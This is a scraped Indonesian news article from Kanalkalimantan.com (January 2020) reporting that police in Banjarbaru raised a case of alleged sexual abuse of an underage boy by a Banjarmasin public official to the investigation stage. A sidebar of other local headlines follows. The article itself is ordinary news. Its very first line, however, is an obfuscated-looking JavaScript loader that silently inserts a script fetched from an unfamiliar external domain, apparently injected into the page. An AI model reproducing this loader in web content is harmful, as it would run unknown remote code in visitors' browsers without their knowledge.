(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Pencabulan Oknum Pejabat KPU Banjarmasin, Polisi Naikkan ke Tahap Penyidikan!


KANALKALIMANTAN.COM, BANJARBARU– Kasus dugaan pencabulan terhadap pria di bawah umur yang diduga dilakukan oleh oknum pejabat publik, bergulir ke jalur hukum. Surat Pemberitahuan Dimulainya Penyidikan (SPDP) terhadap kasus ini telah diterima Kejaksaaan Negeri (Kejari) Banjarbaru.

Kepala Seksi Tindak Pidana Umum Kejari Banjarbaru, Budi Muklish mengatakan, bahwa penyidik Polres Banjarbaru telah menerbitkan SPDP tersebut dan ditembuskan melalui pihaknya.

“Benar, kami sudah menerima SPDP. Pihak penyidik Polres Banjarbaru telah menaikan tahap kasus dari penyelidikan menjadi penyidikan. Kami dari pihak Kejaksaan telah menunjuk Jaksa untuk mendampingi penyidikan kasus ini,” katanya kepada Kanalkalimantan.com, Kamis (16/01/2020).

Budi -sapaan akrabnya- juga mengatakan, dalam SPDP yang diterimanya, tertera status terlapor atau orang yang diduga melakukan pencabulan ini. Dirinya juga secara blakblakan mengatakan bahwa terlapor tersebut, merupakan pegawai di wiraswasta dan juga menjabat di Lembaga Pemerintah di Kota Banjarmasin.

“Inisial terlapor adalah GMM, pekerjaanya wiraswasta dan juga salah satu Pejabat di Lembaga Pemerintah di Kota Banjarmasin,” tuturnya.

Pun, meskipun belum dijelaskan lembaga yang menjadi tempat kerja pelapor. Namun dengan informasi semakin mendekatkan dengan isu kuat yang beredar selama ini bahwa tersangka diduga adalah oknum penyelenggara pemilu di kota Banjarmasin.

Tidak hanya itu, Budi juga menjelaskan bahwa terlapor berinisial disangkakan pasal 81 tahun 2016 tentang perlindungan anak. Meskipun terlapor adalah seorang pejabat publi, menurut Budi, penyidikan kasus ini tidak akan berebda dengan kasus-kasus lain. “Saya yakin sesuai dengan Pasal 183 dan 184 KUHAP, naiknya status dari penyelidikan ke penyidikan ini, penyidik sudah mempunyai dua alat bukti,” katanya.

Namun harus diketahui juga, SPDP ini fungsi untuk membuat terang tindak pidana dan juga guna menemukan tersangkanya.

Dengan tembusan SPDP ini, maka diketahui sudag siapa orang yang dilaporkan oleh pihak orang tua yang terima anak laki-lakinya dilecehkan. Orang tua korban melaporkan adanya aksi pencabulan pada tanggal 26 Desember 2019.

Dilaporkan bahwa pelecehan seksual terhadap anak dibawah umur, di toilet Grand Dafam Q Hotel, pada tanggal 25 Desember 2019.Korban dilecehkan seksual , bahkan sempat dicium dan dipegang kemaluannya. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.